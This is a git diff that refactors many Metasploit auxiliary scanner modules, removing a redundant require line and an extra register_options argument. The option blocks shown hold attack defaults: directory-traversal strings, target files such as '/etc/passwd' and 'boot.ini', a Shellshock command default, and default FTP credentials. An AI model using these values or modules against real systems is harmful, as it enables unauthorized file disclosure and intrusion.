'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(135) - ], self.class) + ]) end # Obtain information about a single host diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb index 38e1786a8a..89f8fab52e 100644 --- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(135) - ], self.class) + ]) end @@target_uuids = [ diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 5c0dcdca53..900d008975 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/dcerpc' require 'rex/proto/dcerpc/wdscp' require 'rex/parser/unattend' @@ -40,14 +39,14 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(5040), - ], self.class) + ]) deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') register_advanced_options( [ OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index b47d050977..63adfc802c 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::DECT_COA diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index 532833e54d..7c8cf2f78e 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::DECT_COA diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb index 1f981c1dce..f16e9a7945 100644 --- a/modules/auxiliary/scanner/discovery/arp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SMAC', [false, "Source MAC Address"]), # one re-register TIMEOUT here with a lower value, cause 5 seconds will be enough in most of the case OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]), - ], self.class) + ]) deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT') end diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb index 378d9e69f7..cd551052e2 100644 --- a/modules/auxiliary/scanner/discovery/empty_udp.rb +++ b/modules/auxiliary/scanner/discovery/empty_udp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner @@ -18,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary ) register_options([ OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443']) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index 52d730b0c1..84ab27ecf0 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 48fadda6c6..b0e68413be 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ipv6 @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('SHOST', [false, "Source IP Address"]), OptString.new('SMAC', [false, "Source MAC Address"]), - ], self.class) + ]) deregister_options('SNAPLEN', 'FILTER') end diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 2d6f9f71d1..f0ac5a335b 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('TIMEOUT_NEIGHBOR', [true, "Time (seconds) to listen for a solicitation response.", 1]) - ], self.class) + ]) deregister_options('SNAPLEN', 'FILTER', 'RHOST', 'PCAPFILE') end diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index 8523d67b03..fe8279d29f 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -26,12 +25,12 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::CHOST, - ], self.class) + ]) register_advanced_options( [ OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true]) - ], self.class) + ]) # Intialize the probes array @probes = [] diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index df8b24781e..261fd7ef8c 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -23,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_advanced_options( [ OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true]) - ], self.class) + ]) # RPORT is required by UDPScanner but not used in this module since it # works with multiple ports. diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 9490798336..ef9d4de682 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'socket' class MetasploitModule < Msf::Auxiliary @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(2067), OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) - ], self.class) + ]) end def get_response(size = 72) diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb index a914489225..b66783c091 100644 --- a/modules/auxiliary/scanner/dns/dns_amp.rb +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(53), OptString.new('DOMAINNAME', [true, 'Domain to use for the DNS request', 'isc.org' ]), OptString.new('QUERYTYPE', [true, 'Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY)', 'ANY' ]), - ], self.class) + ]) end def rport diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb index 50b9b0af01..f80a83dbb4 100644 --- a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb +++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(9200) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb index 89645436c3..d37a86d717 100644 --- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -21,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options([Opt::RPORT(3000),], self.class) + register_options([Opt::RPORT(3000),]) end diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb index 4570b9ab79..71b4f8c0a6 100644 --- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -21,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options([Opt::RPORT(3500),], self.class) + register_options([Opt::RPORT(3500),]) end diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb index 66f081533c..8f0b476c68 100644 --- a/modules/auxiliary/scanner/finger/finger_users.rb +++ b/modules/auxiliary/scanner/finger/finger_users.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary [ true, 'The file that contains a list of default UNIX accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ] - )], self.class) + )]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb index faeed16eb4..c22af61035 100644 --- a/modules/auxiliary/scanner/ftp/anonymous.rb +++ b/modules/auxiliary/scanner/ftp/anonymous.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index 3612a3aca6..9d95903fee 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb index 72e2ca5407..20529c9247 100644 --- a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PATH', [ true, 'Path to the file to disclose, releative to the root dir.', 'conf\\xml-users.xml']), OptString.new('FTPUSER', [ true, 'Username to use for login', 'ftpuser']), #override default OptString.new('FTPPASS', [ true, 'Password to use for login', 'ftpuser123']) #override default - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb index f7bfed8ee1..fe1bc7d77c 100644 --- a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb +++ b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) - ], self.class) + ]) end def check_host(ip) diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 2ee8ac7b82..c0ef595dc3 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/ftp' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::Proxies, Opt::RPORT(21), OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false]) - ], self.class) + ]) register_advanced_options( [ diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb index fee2b5bf04..14e1933d73 100644 --- a/modules/auxiliary/scanner/ftp/ftp_version.rb +++ b/modules/auxiliary/scanner/ftp/ftp_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(21), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb index 2f1aa5142a..7668791145 100644 --- a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) - ], self.class) + ]) end def check_host(ip) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 3688dd9199..599d7bc6f2 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) - ], self.class) + ]) end def check_host(ip) diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 674956d42a..ad76540ab4 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(21), OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'windows\\win.ini']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index bded8208c7..fd2b94ad7a 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1720), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 1a83f8a512..cf3c64a372 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]), OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb index af7ce9b7a4..ca832aa447 100644 --- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The URI to request that triggers a call to template()', '/courier/intermediate_login.html']), OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb index 0b4fd6e2ea..1f6dd4ff5a 100644 --- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb +++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8400), OptString.new('FILE', [ true, "File to read", '/etc/passwd']), - ],self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/advantech_webaccess_login.rb b/modules/auxiliary/scanner/http/advantech_webaccess_login.rb index bc6b3d463e..96e8bf428b 100644 --- a/modules/auxiliary/scanner/http/advantech_webaccess_login.rb +++ b/modules/auxiliary/scanner/http/advantech_webaccess_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/advantech_webaccess' require 'metasploit/framework/credential_collection' @@ -32,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:[empty]', false]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb index eb22d9335e..3f8684c077 100644 --- a/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb +++ b/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 4bb3bece15..5c7e4e044a 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8161), OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index a5b43f7e2c..6381f0f893 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8161), OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb index 6324d1152b..fdd1f54e48 100644 --- a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary '/usr/bin/id']), OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']]) - ], self.class) + ]) end def check_host(ip) diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index 2b4711af17..58b8e54826 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']), OptPath.new('USER_FILE', [ true, "File containing users, one per line", File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]), - ], self.class) + ]) deregister_options( 'PASSWORD', diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb index 6e48839b68..0ae5bcf021 100644 --- a/modules/auxiliary/scanner/http/appletv_login.rb +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/http' @@ -50,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary 'File containing passwords, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') ] - )], self.class) + )]) deregister_options( 'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'NTLM::SendLM', 'NTLM::SendNTLM', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 00f2f307f0..4cf6ca9e38 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']), OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']) - ], self.class) + ]) register_autofilter_ports([ 8095 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index a788774b35..ca2924d068 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index 5aa55046cc..c5a58044fb 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasploit/framework/login_scanner/axis2' require 'metasploit/framework/credential_collection' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), - ], self.class) + ]) end # For print_* methods diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb index 226d7f4f90..4ba5872a3f 100644 --- a/modules/auxiliary/scanner/http/backup_file.rb +++ b/modules/auxiliary/scanner/http/backup_file.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The path/file to identify backups", '/index.asp']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index 15bee576e6..a470f99b79 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8000), OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']), OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/bavision_cam_login.rb b/modules/auxiliary/scanner/http/bavision_cam_login.rb index 8f195ad42c..89c4aa0693 100644 --- a/modules/auxiliary/scanner/http/bavision_cam_login.rb +++ b/modules/auxiliary/scanner/http/bavision_cam_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/bavision_cameras' require 'metasploit/framework/credential_collection' @@ -29,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ 